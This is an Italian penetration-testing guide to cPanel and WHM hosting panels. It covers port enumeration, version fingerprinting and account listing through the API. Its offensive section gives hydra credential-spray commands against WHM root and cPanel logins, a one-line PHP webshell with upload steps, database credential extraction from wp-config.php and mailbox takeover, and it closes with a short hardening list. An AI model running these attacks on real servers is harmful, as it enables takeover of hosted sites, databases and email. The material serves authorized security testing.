Port 1991 cPanel e WHM: Pentest, Enumerazione e Hardening

Guida pentest su cPanel e WHM: pannelli 2083, 2087 e Webmail 2096, account enumeration, API, esposizione hosting e misconfigurazioni critiche
- Pubblicato il 2026-04-12
- Tempo di lettura: 4 min
Executive Summary — La porta 1991 è una delle porte associate a cPanel, il pannello di controllo hosting più diffuso al mondo. cPanel gestisce centinaia di migliaia di server web — siti, email, database, DNS e file. L’ecosistema cPanel usa diverse porte: 2082/2083 per cPanel utente, 2086/2087 per WHM (WebHost Manager — admin), e la 1991 per servizi interni/alternativi. Compromettere un server cPanel significa accesso a tutti i siti ospitati, i database, le caselle email e spesso le credenziali di centinaia di utenti.
Cos’è la porta 1991 (cPanel / WHM)
- cPanel sulla 1991 (o 2082-2087) gestisce siti web, database, email e DNS degli account hosting
- WHM (porta 2086/2087) è l’interfaccia amministrativa root — accesso completo a tutti gli account sul server
- Credenziali deboli su cPanel/WHM permettono accesso totale: upload file (webshell), accesso database (credential dump), gestione email
Porta 1991 cPanel è un canale TCP associato a servizi cPanel/WHM, talvolta usato come porta alternativa o per servizi interni del pannello. La porta 1991 vulnerabilità dipendono dalla versione di cPanel e dalla configurazione: credenziali deboli, API token esposti, webshell upload via file manager e privilege escalation da utente cPanel a root via WHM. L’enumerazione porta 1991 conferma la presenza di infrastruttura di hosting. Nel pentest, cPanel è un target ad alto valore: un server condiviso ospita decine o centinaia di siti.
1. Anatomia Tecnica #
| Porta | Servizio | Ruolo |
|---|---|---|
| 1991/TCP | cPanel (alt) | Servizio interno/alternativo |
| 2082/TCP | cPanel (HTTP) | Pannello utente |
| 2083/TCP | cPanel (HTTPS) | Pannello utente cifrato |
| 2086/TCP | WHM (HTTP) | Admin pannello |
| 2087/TCP | WHM (HTTPS) | Admin pannello cifrato |
| 2089/TCP | cPanel License | Verifica licenza |
| 2096/TCP | Webmail | Client email web |
cPanel ha tre livelli di accesso:
- cPanel user: gestisce il proprio sito, database, email (porte 2082/2083)
- Reseller: gestisce più account cPanel (WHM limitato)
- Root/WHM: gestisce tutto il server (porte 2086/2087)
Misconfig: WHM accessibile senza IP whitelist
Impatto: brute force su root — accesso completo al server
Come si verifica: curl -sk https://[target]:2087/ — se mostra login WHM, è espostoMisconfig: API token cPanel in backup o config esposta
Impatto: accesso programmatico completo senza password
Come si verifica: cerca "cpanel_api_token" in file di configurazione trovati2. Enumerazione Base #
Scan porte cPanel #
nmap -sV -p 1991,2082,2083,2086,2087,2096 10.10.10.80Output atteso:
PORT STATE SERVICE VERSION
1991/tcp open http cPanel httpd
2083/tcp open ssl/http cPanel Login
2087/tcp open ssl/http WHM Login
2096/tcp open ssl/http cPanel WebmailFingerprint versione #
curl -sk https://10.10.10.80:2087/login/ | grep -i "version\|cpanel"Output:
cPanel & WHM Version 114.0.6Lettura dell’output: cPanel 114. La versione è fondamentale per CVE matching. cPanel rilascia update frequenti — versioni anche di pochi mesi indietro possono avere vulnerabilità note.
Enumerazione utenti hosting #
# Se hai accesso WHM o API:
curl -sk "https://10.10.10.80:2087/json-api/listaccts?api.version=1" \
-H "Authorization: whm root:API_TOKEN"Output:
{
"data": {
"acct": [
{"user": "corpsite", "domain": "corp.local", "email": "admin@corp.local"},
{"user": "shopsite", "domain": "shop.corp.local", "email": "shop@corp.local"},
{"user": "hrportal", "domain": "hr.corp.local", "email": "hr@corp.local"}
]
}
}Lettura dell’output: tre account hosting — ciascuno con il proprio sito, database e email. Per la compromissione dei siti web, accedere a uno qualsiasi permette upload di webshell.
3. Tecniche Offensive #
Credential spray su cPanel/WHM
# Spray su WHM (root)
hydra -l root -P passwords.txt -s 2087 10.10.10.80 https-post-form \
"/login/:user=^USER^&pass=^PASS^:incorrect"
# Spray su cPanel (utenti)
hydra -L users.txt -p 'Corp2026!' -s 2083 10.10.10.80 https-post-form \
"/login/:user=^USER^&pass=^PASS^:incorrect"Cosa fai dopo: accesso WHM root = controllo completo del server. Accesso cPanel utente = accesso al sito, database e email di quell’account.
Webshell upload via File Manager
Contesto: accesso cPanel utente.
1. Login cPanel (2083)
2. File Manager → public_html/
3. Upload: shell.php (<?php system($_GET['c']); ?>)
4. Accedi: https://[domain]/shell.php?c=idCosa fai dopo: RCE come l’utente cPanel. Da qui: escalation a root (kernel exploit, sudo misconfiguration) o accesso al database MySQL dell’account.
Database credential extraction
Contesto: accesso cPanel. Leggi le credenziali del database.
1. cPanel → MySQL Databases → vedi nome database
2. File Manager → public_html/wp-config.php (o equivalente)
3. Estrai DB_USER, DB_PASSWORD
4. phpMyAdmin → login con quelle credenziali → dump tabelleEmail access
1. cPanel → Email Accounts
2. Cambia password di qualsiasi casella email dell'account
3. Accedi via Webmail (2096) con le nuove credenzialiPrivilege escalation: cPanel user → root
# Dopo webshell: verifica privilegi
id # uid=1001(corpsite)
sudo -l # cerca misconfiguration
# Cerca SUID binary, kernel exploit, writable crontab
find / -perm -4000 -type f 2>/dev/null4. Scenari Pratici #
Scenario 1: WHM esposto con credenziali deboli #
Step 1:
nmap -sV -p 2087 10.10.10.80Step 2:
hydra -l root -P common_pass.txt -s 2087 10.10.10.80 https-post-form \
"/login/:user=^USER^&pass=^PASS^:incorrect"Step 3: con accesso WHM root → lista tutti gli account → accedi a ciascuno
Tempo stimato: 10-30 minuti
Scenario 2: cPanel utente → webshell → root #
Step 1: accesso cPanel con credenziali note (da phishing, breach, config file)
Step 2: upload webshell via File Manager
Step 3: escalation a root via kernel exploit o misconfiguration
Tempo stimato: 15-45 minuti
5. Cheat Sheet Finale #
| Azione | Comando |
|---|---|
| Scan | nmap -sV -p 1991,2082,2083,2086,2087,2096 [target] |
| Version | curl -sk https://[target]:2087/login/ | grep version |
| WHM spray | hydra -l root -P pass.txt -s 2087 https-post-form |
| cPanel spray | hydra -L users -p pass -s 2083 https-post-form |
| List accounts (API) | curl -sk https://[target]:2087/json-api/listaccts |
| Webshell | Upload via File Manager → public_html/ |
| DB creds | Leggi wp-config.php o equivalente |
| Email access | Webmail sulla porta 2096 |
Perché Porta 1991 è rilevante nel 2026 #
cPanel gestisce milioni di siti web. Un server cPanel compromesso espone tutti i siti, database e email degli account ospitati. WHM con credenziali deboli è un finding devastante. Le CVE cPanel sono frequenti e spesso critiche. La porta 1991 è un indicatore aggiuntivo di infrastruttura cPanel.
Hardening #
- IP whitelist su WHM (solo admin autorizzati)
- 2FA su cPanel e WHM
- Aggiorna cPanel regolarmente
- Disabilita File Manager se non necessario
- ModSecurity abilitato con ruleset aggiornato
- Monitora login falliti
Riferimento: cPanel documentation, CVE database cPanel. Uso esclusivo in ambienti autorizzati.







